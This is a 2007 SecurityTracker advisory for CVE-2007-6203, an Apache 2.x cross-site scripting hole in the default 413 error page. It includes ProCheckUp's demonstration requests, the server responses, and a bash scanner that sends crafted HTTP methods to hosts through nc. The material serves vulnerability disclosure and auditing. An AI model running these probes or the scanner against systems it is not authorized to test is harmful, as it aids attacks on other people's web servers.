Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Apache Input Validation Hole in Default HTTP 413 Error Page Permits Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1019030
|
|
SecurityTracker URL: http://securitytracker.com/id?1019030
|
|
CVE Reference: CVE-2007-6203
(Links to External Site)
|
Updated: Dec 7 2007
|
Original Entry Date: Dec 2 2007
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 2.x
|
Description: A vulnerability was reported in Apache. A remote user can conduct cross-site scripting attacks.
The server does not properly filter HTML code from user-supplied input before displaying the input as part of an HTTP 413 error page.
A remote user can create a specially crafted HTTP method request that, when submitted by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running the Apache software and will run
in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication
cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take
actions on the site acting as the target user.
The server will return a '413 Request Entity Too Large' error page when the user
submits an invalid length data value.
A demonstration exploit request is provided:
[xss] / HTTP/1.1
Host: target-domain.foo
Connection:
close
Content-length: -1
[LF]
[LF]
The vendor was notified on November 14, 2007.
Adrian Pastor and Amir Azam of ProCheckUp
Ltd. reported this vulnerability.
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
Apache software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: No solution was available at the time of this entry.
The report indicates that as a workaround, the default 413 error page can be disabled by adding the 'ErrorDocument 413' statement to the Apache configuration file.
|
Vendor URL: httpd.apache.org/ (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: research@procheckup.com
|
Message History:
This archive entry has one or more follow-up message(s) listed below.
|
Source Message Contents
|
Date: 30 Nov 2007 16:17:45 -0000
From: research@procheckup.com
Subject: PR07-37: XSS on Apache HTTP Server 413 error pages via malformed
|
PR07-37: XSS on Apache HTTP Server 413 error pages via malformed HTTP method
Vulnerability found: 7 November 2007
Vendor contacted: 14 November 2007
Risk factor: N/A
The reason why we didn't consider this vulnerability a security risk is because the attacker needs to
force the victim's browser to
submit a malformed HTTP method.
Header injection has been demonstrated to be possible using Flash [1] [2], but might be dependent on
vulnerable Flash plugins.
A relevant example published in the past is exploiting the Apache 'Expect' XSS [3] (CVE-2006-3918) us
ing flash [4].
However, in this case we need to spoof the HTTP METHOD to a specially-crafted value.
Description:
It is possible to cause Apache HTTP server to return client-supplied scripting code by submitting a m
alformed HTTP method which would
actually carry the payload (i.e.: malicious JavaScript) and invalid length data in the form of eithe
r of the following:
Two 'Content-length:' headers equals to zero. i.e.: "Content-Length: 0[LF]Content-Length: 0"
One 'Content-length:' header equals to two values. i.e.: "Content-length: 0, 0"
One 'Content-length:' header equals to a negative value. i.e.: "Content-length: -1"
One 'Content-length:' header equals to a large value. i.e.: "Content-length: 999999999999999999
9999999999999999999999999999"
Apache 2.X returns a '413 Request Entity Too Large' error, when submitting invalid length data. When
probing for XSS on the error
page returned by the server we have 3 possible string vectors:
The 'Host:' header
The URL
The HTTP method
If we probe for XSS using the 'Host:' header, Apache correctly filters the angle brackets and replace
s them with HTML entities:
REQUEST:
GET / HTTP/1.1
Host: <BADCHARS>
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S REPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:40:19 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at <badchars> Port 80</addres
s>
</body></html>
Notice that '<BADCHARS>' gets replaced with '<badchars>'
If we probe for XSS using the URL, Apache ALSO correctly filters the angle brackets and replaces them
with HTML entities:
REQUEST:
GET /<BADCHARS>/ HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:41:17 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<BADCHARS>/<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>
Again, '<BADCHARS>' gets replaced with '<badchars>'
However, if we probe for XSS using a malformed HTTP method, the angle brackets are NOT replaced with
HTML entities:
REQUEST:
<BADCHARS> / HTTP/1.1
Host: target-domain.foo
Connection: close
Content-length: -1
[LF]
[LF]
SERVER'S RESPONSE:
HTTP/1.1 413 Request Entity Too Large
Date: Fri, 30 Nov 2007 12:42:46 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/<br />
does not allow request data with <BADCHARS> requests, or the amount of data provided in
the request exceeds the capacity limit.
<hr>
<address>Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at target-domain.foo Port 80</address>
</body></html>
The following script could be used to audit your network for vulnerable web servers:
#!/bin/bash
# PR07-37-scan
if [ $# -ne 1 ]
then
echo "$0 <hosts-file>"
exit
fi
for i in `cat $1`
do
if echo -en "<PROCHECKUP> / HTTP/1.1\nHost: $i\nConnection: close\nContent-length: 0\nCont
ent-length: 0\n\n" | nc -w 4 $i 80 | grep
-i '<PROCHECKUP>' > /dev/null
then
echo "$i is VULNERABLE!"
fi
done
Vulnerability successfully tested on (banners extracted from server headers):
Server: Apache/2.0.46 (Red Hat)
Server: Apache/2.0.51 (Fedora)
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Server: Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.7g
Server: Apache/2.2.3 (FreeBSD) mod_ssl/2.2.3 OpenSSL/0.9.7e-p1 DAV/2
Server: Apache/2.2.4 (Linux/SUSE)
Note: other versions might also be vulnerable.
Consequences:
This type of attack can result in non-persistent defacement of the target site, or the redirection of
confidential information (i.e.
session IDs) to unauthorised third parties provided that a web browser is tricked to submit a malfor
med HTTP method.
Workaround:
Disable Apache's default 413 error pages by adding 'ErrorDocument 413' statement to the Apache conf
ig file.
References:
http://www.procheckup.com/Vulnerability_2007.php
[1] "Forging HTTP request headers with Flash"
http://archives.neohapsis.com/archives/bugtraq/2006-07/0425.html
[2] "HTTP Header Injection Vulnerabilities in the Flash Player Plugin"
http://download2.rapid7.com/r7-0026/
[3] "Unfiltered Header Injection in Apache 1.3.34/2.0.57/2.2.1"
http://www.securityfocus.com/archive/1/433280
[4] "More Expect Exploitation In Flash"
http://ha.ckers.org/blog/20071103/more-expect-exploitation-in-flash/
Credits: Adrian Pastor and Amir Azam of ProCheckUp Ltd (www.procheckup.com).
Special thanks go to Amit Klein and Joe Orton for providing such valuable feedback.
|
|
Go to the Top of This SecurityTracker Archive Page
|
